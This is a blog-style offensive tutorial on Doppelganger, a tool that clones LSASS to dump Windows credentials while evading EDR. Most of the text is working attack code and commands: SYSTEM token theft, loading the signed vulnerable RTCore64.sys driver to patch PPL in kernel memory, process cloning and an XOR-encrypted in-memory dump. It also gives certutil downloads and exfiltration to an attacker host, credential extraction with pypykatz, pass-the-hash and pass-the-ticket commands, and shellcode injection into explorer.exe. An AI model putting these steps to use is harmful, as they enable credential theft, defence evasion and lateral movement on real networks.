Eduardo ArriolsEduardo ArriolsFebruary 24, 202612 min read

Doppelganger — LSASS Cloning for EDR Evasion

#Evasion#Research#tool#lsass#Offensive

Introduction

Modern EDRs (Defender, CrowdStrike, SentinelOne, and others) protect LSASS through multiple layers: userland hooks on ntdll.dll, monitoring of OpenProcess calls targeting lsass.exe, kernel-level PPL, and ETW callbacks. Doppelganger, developed by Andrea Varischio, evades these by never touching the real LSASS memory—instead, it clones the process and focuses on the copy. The resulting clone lacks PPL, has no EDR hooks, uses a new PID unmonitored by EDRs, and retains the original credentials—we'll cover its mechanics next, followed by a practical example.


Step 1 — API Resolution Without IAT

EDRs scan the Import Address Table for sensitive functions like OpenProcess, MiniDumpWriteDump, or NtCreateProcessEx—Doppelganger imports no sensitive APIs (first evasion win). It evades by XOR-encrypting API names in byte arrays in api_strings.h, decrypting at runtime, and resolving via a custom CustomGetProcAddress() on clean, unhooked DLLs:

c
// api_strings.h — Binary has no plaintext "MiniDumpWriteDump"  
static const unsigned char MDWD_ENC[] = {
    0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47,
    0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
};

// api.c — Dynamic resolution from clean DLL
static BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
    char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
    if (!name) return FALSE;
    *fn = (void*)CustomGetProcAddress(hMod, name);
    free(name);
    return (*fn != NULL);
}

All DLLs load via LoadCleanDLL() for unhooked copies.

Result (evasion): Static analysis (YARA, AV signatures, sandboxes) finds no sensitive strings or imports.


Step 2 — SYSTEM Elevation via Token Theft

Doppelganger impersonates SYSTEM by stealing a token from winlogon.exe:

c
// token.c — GetSystemTokenAndDuplicate()
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
    hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
    if (hProcess) {
        if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
            if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
                        TokenImpersonation, &hDupToken)) {
                *hSystemToken = hDupToken;
                EnableAllPrivileges(hDupToken);  // SeDebugPrivilege, SeImpersonatePrivilege
            }
        }
    }
}

Then, in main.c it applies impersonation to the current thread:

c
pIMP(hSystemToken);          // ImpersonateLoggedOnUser
pSTT(NULL, hSystemToken);    // SetThreadToken

Result (evasion): there's no exploit, no UAC bypass, no new SYSTEM process — just impersonation in the current thread.


Step 3 — BYOVD: Loading RTCore64.sys

RTCore64.sys is a legitimately signed MSI (Afterburner) driver exposing arbitrary kernel memory R/W via IOCTLs:

c
// driver.c — LoadAndStartDriver()
SC_HANDLE hService = pCS(hSCM, DRIVER_NAME, DRIVER_NAME, SERVICE_ALL_ACCESS,
    SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
    DRIVER_PATH, NULL, NULL, NULL, NULL, NULL);  // "C:\\Users\\Public\\RTCore64.sys"
pSS(hService, 0, NULL);  // Start service

// memory.c — R/W kernel primitives
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    RTCORE64_MEMORY_READ memRead = { 0 };
    memRead.Address = Address;
    memRead.ReadSize = Size;
    DWORD BytesReturned;
    pDIOC(Device, RTC64_MEMORY_READ_CODE, &memRead, sizeof(memRead),
          &memRead, sizeof(memRead), &BytesReturned, NULL);
    return memRead.Value;
}

Result (evasion): Signed driver loads without Windows objections; EDRs without vulnerable driver blocklists miss it.


Step 4 — PPL Patch in Kernel Memory

PPL blocks even SYSTEM from opening lsass.exe — Doppelganger disables it by writing directly to the kernel EPROCESS structure:

c
// memory.c — disablePPL()
// 1. Resolve PsInitialSystemProcess from ntoskrnl.exe  
DWORD64 sys_eproc = ReadMemoryDWORD64(Device, ntBase + ps_offset);

// 2. Walk ActiveProcessLinks to find lsass.exe  
while (curr_entry != list_head) {
    DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
    char name[^16] = { 0 };
    ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);

    if (_stricmp(name, "lsass.exe") == 0) {  // (XOR-decrypted string)  
        SavedEproc = eproc;

        // 3. Save originals  
        OriginalSigLv    = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
        OriginalSecSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
        OriginalProt     = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);

        // 4. Disable PPL → 0x00  
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00);
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00);
        WriteMemoryPrimitive(Device, 1, eproc + offs.Protection,     0x00);
        break;
    }
    curr_entry = ReadMemoryDWORD64(Device, curr_entry);
}

EPROCESS offsets are dynamic, they depend on their Windows build:

BuildActiveProcessLinksImageFileNameProtection
≥ 26100 (Win11 24H2)0x1d80x3380x5fa
≥ 19041 (Win10 2004+)0x4480x5a80x87a
≥ 18362 (Win10 1903)0x2f00x4500x6fa

Resultado (evasión): Invisible from user-mode; EDRs lack visibility into signed driver IOCTL kernel writes.


Step 5 — Process Cloning with NtCreateProcessEx

With PPL off, Doppelganger fully clones LSASS using the undocumented NtCreateProcessEx syscall:

c
// dump.c — CloneLsassProcess()
// Open LSASS with minimal access: only PROCESS_CREATE_PROCESS (0x0080) 
hLsass = pOP(PROCESS_CREATE_PROCESS, FALSE, pe.th32ProcessID);

// Clone: SectionHandle=NULL triggers full fork  
NTSTATUS status = pNTCPX(
    &hClone,            // Clone handle 
    PROCESS_ALL_ACCESS,
    &objAttr,
    hLsass,             // InheritFromProcess = LSASS  
    0,                  // Flags
    NULL,               // SectionHandle = NULL → fork
    NULL, NULL,         // DebugPort, TokenHandle
    FALSE
);
PropiedadOriginal LSASSClone
PPL✅ Active (restored post-op)❌ Unprotected
EDR Hooks✅ ntdll.dll hooked❌ Clean memory
Monitoring✅ Known PID❌ New, unregistered PID
Credentials✅ Present✅ Exact copy

Result (evasion): Result: Access mask 0x0080 (PROCESS_CREATE_PROCESS) evades EDR monitoring of 0x0010 (PROCESS_VM_READ) or PROCESS_ALL_ACCESS; clone inherits no EDR hooks.


Step 6 — In-Memory Dump with Custom Callback

Doppelganger avoids direct disk writes, using MiniDumpWriteDump with a callback redirecting I/O to a heap buffer:

c
// dump.c — DumpCallbackRoutine()
switch (CallbackInput->CallbackType) {
    case IoStartCallback:
        CallbackOutput->Status = S_FALSE;   // Disable file write  
        break;
    case IoWriteAllCallback:
        source = CallbackInput->Io.Buffer;
        destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
        bufferSize = CallbackInput->Io.BufferBytes;
        RtlCopyMemory(destination, source, bufferSize);
        dumpSize += bufferSize;
        CallbackOutput->Status = S_OK;
        break;
}

// dump.c — DumpAndXorLsass(): Dumps CLONE, not LSASS
pMDWD(hClone, clonedPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);

Result (evasion): MiniDumpWriteDump called on clone (different PID); no disk I/O or MDMP header signatures evade file-based detections.


Step 7 — XOR Encryption and Disk Write

c
// dump.c — Buffer encrypted pre-disk
xor_buffer(dumpBuffer, dumpSize, key, key_len);

HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);

Resulting file lacks MDMP header, has uniform entropy, no readable strings (wdigest, kerberos, msv1_0).


Paso 8 — Restoration

c
// memory.c — restorePPL()
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection,     OriginalProt);

// main.c — Unload driver 
StopAndUnloadDriver(DRIVER_NAME);

PPL restores before EDR periodic scans detect changes.


Evasion Summary by Layer

DefenseDoppelganger Evasion
Static Analysis (AV/YARA)XOR-encrypted APIs, no suspicious IAT
Userland Hooks (EDR)Never reads LSASS memory — clones via NtCreateProcessEx
PPL (kernel)Direct kernel patch via signed driver (BYOVD)
PID MonitoringDumps clone (different PID)
File I/O scanningIn-memory dump → XOR → no recognizable signatures
ETW callbacksMinimal access mask (0x0080), PPL off during op
Credential Guard❌ Not evaded—dump contains stubs only

Practical case

Time to use the tool.

Clone and Build

cmd
git clone https://github.com/vari-sh/RedTeamGrimoire.git
cd RedTeamGrimoire\Doppelganger

:: From "x64 Native Tools Command Prompt for VS 2022"
msbuild Doppelganger.sln /p:Configuration=Release /p:Platform=x64

:: Result: x64\Release\Doppelganger.exe (~143 KB)

.vcxproj includes DbgHelp.lib, Psapi.lib, Advapi32.lib.

Project Structure

Doppelganger/
├── Doppelganger.sln
├── Doppelganger/
│   ├── include/
│   │   ├── api.h, api_strings.h, defs.h, driver.h, dump.h
│   │   ├── logger.h, memory.h, offsets.h, osinfo.h, token.h, utils.h
│   └── src/
│       ├── api.c, driver.c, dump.c, logger.c, main.c
│       ├── memory.c, offsets.c, osinfo.c, token.c, utils.c
└── utils/
    ├── APINameEncrypter.py      # Regenerar strings cifradas
    ├── decrypt_xor_dump.py      # Descifrar dump offline
    ├── HollowReaper.c           # Loader in-memory
    └── RTCore64.sys             # Driver vulnerable firmado

It's a public tool so it must be customized for opsec:

Change XOR key

src/utils.c — lines 8-9:

c
// ORIGINAL:
const char* XOR_KEY = "0123456789abcdefghij";
size_t key_len = 20;

// CHANGE TO:
const char* XOR_KEY = "MiClavePersonal2026!";
size_t key_len = 20;

Must match in utils/decrypt_xor_dump.py lines 10:

python
XOR_KEY = b"MiClavePersonal2026!"

If key is changed, regenerate arrays in api_strings.h and token.h:

bash
python3 utils/APINameEncrypter.py

Change service paths / name:

include/driver.h:

c
// ORIGINAL:
#define DRIVER_NAME "mDriver"
#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"

// CHANGE TO (example):
#define DRIVER_NAME "WinPerfMon"
#define DRIVER_PATH "C:\\Windows\\Temp\\RTCore64.sys"

src/main.c — lines 52 and 58: change "C:\\Users\\Public\\doppelganger.dmp" for your preferred path.

src/main.c — line 14:

c
// ORIGINAL:
logfile = fopen("C:\\Users\\Public\\log.txt", "a");

// CHANGE TO:
logfile = fopen("NUL", "w");

Add offsets for unsupported builds

Obtain offsets using WinDbg on the target:

kd> dt nt!_EPROCESS ActiveProcessLinks  → +0xNNN
kd> dt nt!_EPROCESS ImageFileName       → +0xNNN
kd> dt nt!_EPROCESS Protection          → +0xNNN

Add to src/offsets.c inside the x64 section:

c
else if (build >= YOUR_BUILD) {
    offs.ActiveProcessLinks = 0xNNN;
    offs.ImageFileName      = 0xNNN;
    offs.Protection         = 0xNNN;
}

Target Execution

Once compiled, we move on to the execution on the target machine.

Transfer files

For this PoC, HTTP is used, although a stealthier method could be used.

cmd
:: Only necessary: Doppelganger.exe + RTCore64.sys
certutil -urlcache -split -f http://192.168.1.100/Doppelganger.exe C:\Users\Public\Doppelganger.exe
certutil -urlcache -split -f http://192.168.1.100/RTCore64.sys C:\Users\Public\RTCore64.sys

Execute (requires Local Administrator)

cmd
C:\Users\Public> Doppelganger.exe

Output in C:\Users\Public\log.txt (disabling logs is once again highly recommended):

[*] Windows Build 22631 detected
[+] Requested privilege enabled
[+] Successfully duplicated token. Process can now run as SYSTEM.
[*] Running as SYSTEM.
[+] Service created successfully.
[+] Driver loaded and started successfully.
[*] Device handle obtained
[*] Ker base address: 0xfffff80274c1e000
[*] System entry address: 0xffff9a0b1c3e4080
[*] Found EPROC at 0xffff9a0b1d9234a0
[*] Original protection values:
[*]     SigLv value: 0x3E
[*]     SecSigLv value: 0x3E
[*]     Prot value: 0x41
[+] PPL disabled (0x00 written)
[*] Found process: lsass.exe (PID: 732)
[+] Successfully cloned process, handle: 0x000002A8
[*] Starting dump to memory buffer
[+] Copied 66781184 bytes to memory buffer
[+] XOR'd dump written to C:\Users\Public\doppelganger.dmp successfully
[+] PPL restored to original value:
[*]     SigLv value after write: 0x3E
[*]     SecSigLv value after write: 0x3E
[*]     Prot value after write: 0x41
[+] Service stopped successfully.
[+] Service deleted successfully.
[*] Execution completed successfully.

Exfiltration

Once agian, for this PoC we use HTTP, although a stealthier method could be used.

cmd
:: SMB
copy C:\Users\Public\doppelganger.dmp \\192.168.1.100\share\

:: PowerShell HTTP
$b=[IO.File]::ReadAllBytes("C:\Users\Public\doppelganger.dmp")
Invoke-WebRequest -Uri http://192.168.1.100:8080/upload -Method POST -Body $b

Decryption and offline extraction

Processing of the dump file now occurs in the attacker machine, out of the scope of EDR software.

bash
# Decrypt
python3 utils/decrypt_xor_dump.py doppelganger.dmp
# [+] Decryption successful. Output written to: doppelganger.dmp.dec

# Verify valid MiniDump
xxd doppelganger.dmp.dec | head -1
# 00000000: 4d44 4d50 ...  MDMP

# Extract credentials
pypykatz lsa minidump doppelganger.dmp.dec

# Output example:
# == LogonSession ==
# username     admin
# domainname   SILENTFORCE
#   == MSV ==
#     NT: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
#   == Kerberos ==
#     Password: P@ssw0rd!2026

# Extract Kerberos tickets
pypykatz lsa minidump doppelganger.dmp.dec -k ./tickets/

Using the credentials

From here, you used the extracted credentials (e.g. plaintext, hashes or tickets) in different ways to move laterally.

bash
# Pass-the-Hash
impacket-psexec SILENTFORCE/[email protected] \
    -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

# Pass-the-Ticket (con .kirbi extraído)
export KRB5CCNAME=./tickets/TGT_admin.corp.ccache
impacket-psexec SILENTFORCE/[email protected] -k -no-pass

HollowReaper — In-memory execution

To make the process more discreet, Doppelganger can run as shellcode inside a legitimate process using HollowReaper, a tool from the same repo.

Generate shellcode with Donut + Doppelganger

bash
donut -i Doppelganger.exe -o doppelganger.bin -a 2 -f 1

Encrypt and generate C array

python
# encrypt_sc.py
KEY = b"0123456789abcdefghij"
with open("doppelganger.bin", "rb") as f:
    raw = f.read()
enc = bytes([raw[i] ^ KEY[i % len(KEY)] for i in range(len(raw))])
print("unsigned char shellcode_enc[] = {")
for i in range(0, len(enc), 16):
    print("    " + ", ".join(f"0x{b:02X}" for b in enc[i:i+16]) + ",")
print("};")

Embedd in HollowReaper.c

Replace shellcode_enc[] in utils/HollowReaper.c with the output from the previous script.

Compile and execute

cmd
:: Compile
cl.exe /O2 /MT /Fe:HollowReaper.exe utils\HollowReaper.c

:: Execute — inject in explorer.exe
HollowReaper.exe "C:\Windows\explorer.exe"

[+] Process created in suspended state, PID: 11284
[+] Shellcode mapped at remote address: 0x00007FF6A2B10000
[+] Thread resumed, suspend count: 1
[+] Operation completed.

Entire cloning process occurs in explorer.exe's memory address space — so no suspicious binaries ever make it to the disk.


References

  1. Cloning and Dumping LSASS to Evade Detection - To analyze the dump later, a simple Python script is provided ( decrypt_xor_dump.py ). It uses the s...

  2. BYOVD Attack: Stealth LSASS Memory Extraction with Doppelganger - In this episode of The Weekly Purple Team, we walk through Doppelganger, a highly evasive tool from ...

  3. Doppelganger: An Advanced LSASS Dumper with Process ... - Github Repo: https://github.com/vari-sh/RedTeamGrimoire/tree/main/Doppelganger What is LSASS? The Lo...

  4. Attack of The Clones - Unhooking and Syscall Stubs · Reprogrammed - Unhooking from a suspended process allows us to avoid the pitfalls of opening a handle to NTDLL.dll ...

  5. Bring Your Own Vulnerable Driver (BYOVD) | Infiltr8 - MITRE ATT&CK™ Exploitation for Privilege Escalation - Technique T1068

  6. The Definitive Guide To Process Cloning on Windows - Hunt & Hackett - This article aims to provide YOU with a comprehensive guide to the technical details of process clon...

  7. HackTool - Doppelanger LSASS Dumper Execution - Detects the execution of the Doppelanger hacktool which is used to dump LSASS memory via process clo...

  8. Potential LSASS Clone Creation via PssCaptureSnapShot - Adversaries exploit this to clone the LSASS process, aiming to extract credentials without detection...

  9. Potential LSASS Clone Creation via PssCaptureSnapShot - This may indicate an attempt to evade detection and dump LSASS memory for credential access. Rule ty...

  10. OS Credential Dumping: LSASS Memory, Sub-technique T1003.001 - Adversaries may attempt to access credential material stored in the process memory of the Local Secu...

  11. attack.credential-access - Detects when the Notepad++ updater (gup.exe) makes DNS queries to domains that are not part of the k...